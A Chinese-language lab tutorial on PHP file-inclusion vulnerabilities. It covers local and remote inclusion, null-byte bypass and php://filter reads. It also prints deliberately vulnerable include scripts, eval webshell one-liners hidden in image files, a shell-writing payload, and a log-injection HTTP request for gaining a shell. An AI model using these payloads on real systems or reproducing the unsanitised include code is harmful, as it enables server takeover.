文件包含漏洞概述

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含.程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞.几乎所有的脚本语言都会提供文件包含功能.文件包含漏洞在PHP Web Application中居多,在JSP,ASP,ASP.net程序中比较少

PHP中的文件包含

  • include() : 文件包含失败时,会产生警告,脚本会继续运行
  • include_once() : 与include()功能相同,文件只会被包含一次
  • require() : 文件包含失败时,会产生错误,直接结束脚本执行
  • require_once() : 与require()功能相同,文件只会被包含一次

文件包含是PHP的基本功能之一,有本地文件包含和远程文件包含之分(虽然php官网上不是这么解释的).简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含(HTTT,FTP,PHP伪协议)就是可以远程加载文件

  • 我们可以通过php.ini来进行配置
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen = On

; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include = Off

漏洞原理及特点

PHP文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率.但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险.如果实现动态包含的参数,Web 应用没有进行严格净化,客户端用户可以影响或控制文件包含的路径,就会产生文件包含漏洞

  1. Web应用实现了动态包含
  2. 动态包含的文件路径参数,客户端可控

PHP提供的文件包含功能非常强大.包含文件时,PHP会读取文件的源码,包括图片文件,文件包含在读取文件源码的同时,如果遇到符合PHP语法规范的代码,就会无条件执行.例如,将info.php的后缀名改成info.rar,依然能够显示phpinfo()信息.同时也为图片木马提供了一种利用方法

  • 无视文件扩展名读取文件
  • 无条件解析PHP代码

QQ截图20201225143704.png

QQ截图20201225143710.png

空字符绕过

空字符安全限制绕过,是PHP小于5.3.4版本的一个漏洞,CVE编号是CVE-2006-7243.这个漏洞就是PHP接收来自于路径名中的空(Null)字符,这可能允许依赖于上下文的攻击者通过在此字符后放置安全文件扩展名来绕过预期的访问限制,也就是我们之间讲过的00截断.00截断攻击也会体现在文件包含中

  • 访问的URLhttp://127.0.0.1/fileinclude.php?path=info.php%00
// fileinclude.php

<?php
if(isset($_GET['path'])){
    include $_GET['path'].".html";
}else{
    echo "?path=[path]";
}
?>

QQ截图20201225145144.png

文件包含测试

  • 可以通过以下简单的代码来测试文件包含漏洞
// include_once.php

<?php
$path=$_GET['path'];
echo "<h1>This is include_once.php!</h1>";
include_once $path;
?>

本地文件包含(LFI)

  • 本地文件包含就是我们可以通过相对路径的方式找到文件
  • 访问的URLhttp://10.0.0.254:82/code/include_once.php?path=./info.php
// info.php

<?php
phpinfo();

QQ截图20201225140731.png

远程文件包含(RFI)

  • 远程文件包含就是我们可以通过http(s)或者ftp等方式,远程加载文件
  • 访问的URLhttp://10.0.0.254:82/code/include_once.php?path=http://10.0.0.254:82/code/info.php
  • 访问的URLhttp://10.0.0.254:82/code/include_once.php?path=ftp://1997sty:1997sty@10.0.0.254/info.php
// info.php

<?php
phpinfo();

QQ截图20201225141017.png

QQ截图20201225142853.png

docker 搭建ftp服务器

#拉取镜像
docker pull fauria/vsftpd

#生成容器
docker run -d -p 21:21 -p 20:20 -p 21100-21110:21100-21110 -v /Ftpfile:/home/vsftpd -
e FTP_USER=1997sty -e FTP_PASS=1997sty -e PASV_ADDRESS=10.0.0.254 -e PASV_MIN_PORT=21100 -e PASV_MAX_PORT=211
10 --name vsftpd --restart=always fauria/vsftpd

#-p 进行端口绑定映射
#-v 添加容器数据卷
#-e FTP_USER=davion -e FTP_PASS=davion 添加一个初始化用户davion
#PASV_MIN_PORT和PASV_MAX_PORT映射的是被动模式下端口使用范围
#-name vsftpd 为容器命名为vsftpd 
#--restart=always fauria/vsftpd docker重启的时候自动启动这个容器

# 我们先进入container里面 
docker exec -i -t vsftpd bash 

# 修改并生成虚拟用户模式下的用户db文件,向文件中最后两行写入用户名和密码
vi /etc/vsftpd/virtual_users.txt

#假如我们添加了user用户,我们需要建立对应用户的文件夹
mkdir /home/vsftpd/user

#把登录的验证信息写入数据库 
/usr/bin/db_load -T -t hash -f /etc/vsftpd/virtual_users.txt /etc/vsftpd/virtual_users.db

#重启服务
docker restart vsftpd

文件包含漏洞利用

读取敏感文件

我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件

  1. 目标主机文件存在(目标文件的路径,绝对路径,相对路径)
  2. 具有文件可读权限

QQ截图20201225150116.png

QQ截图20201225150125.png

直接包含图片木马

可以利用文件包含漏洞直接包含图片木马,使用工具连接getshell

// muma.jpg

<?php @eval($_REQUEST['cmd']);?>

QQ截图20201225150547.png

包含木马写Shell

我们也可以将如下代码写入到图片中,该段代码的含义是,在当前目录下创建一个名为shell.php的文件,内容为<?php @eval(\$_REQUEST['cmd'])?>,当我们直接包含图片的时候,这段代码就会被执行

// put.jpg

<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>

QQ截图20201225150856.png

PHP封装协议访问本地文件

我们可以使用php的file协议访问本地系统文件

QQ截图20201225150947.png

QQ截图20201225151015.png

PHP封装协议传输PHP文件

可以使用以下参数来传送任意PHP文件

?path=php://filter/read=convert.base64-encode/resource=info.php

QQ截图20201225151806.png

  • linux环境下直接执行了代码

QQ截图20201225151824.png

PHP封装协议执行PHP命令

我们还可以利用PHP的封装协议来执行PHP命令

QQ截图20201225152850.png

QQ截图20201225152858.png

文件漏洞利用场景

已知一个网站存在本地文件包含漏洞,没有文件上传API,通过日志注入一句话木马获取getshell

向日志中注入一句话木马

GET /<?php @eval($_REQUEST['cmd']);?> HTTP/1.1
Host: 10.0.0.254:82
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

QQ截图20201225153455.png

  • 被攻击服务器错误日志中的记录

QQ截图20201225153646.png

  • 利用漏洞getshell

这里错误日志没有读取权限,为了实验成功,暂时修改一下权限

QQ截图20201225153958.png

QQ截图20201225154252.png

QQ截图20201225154259.png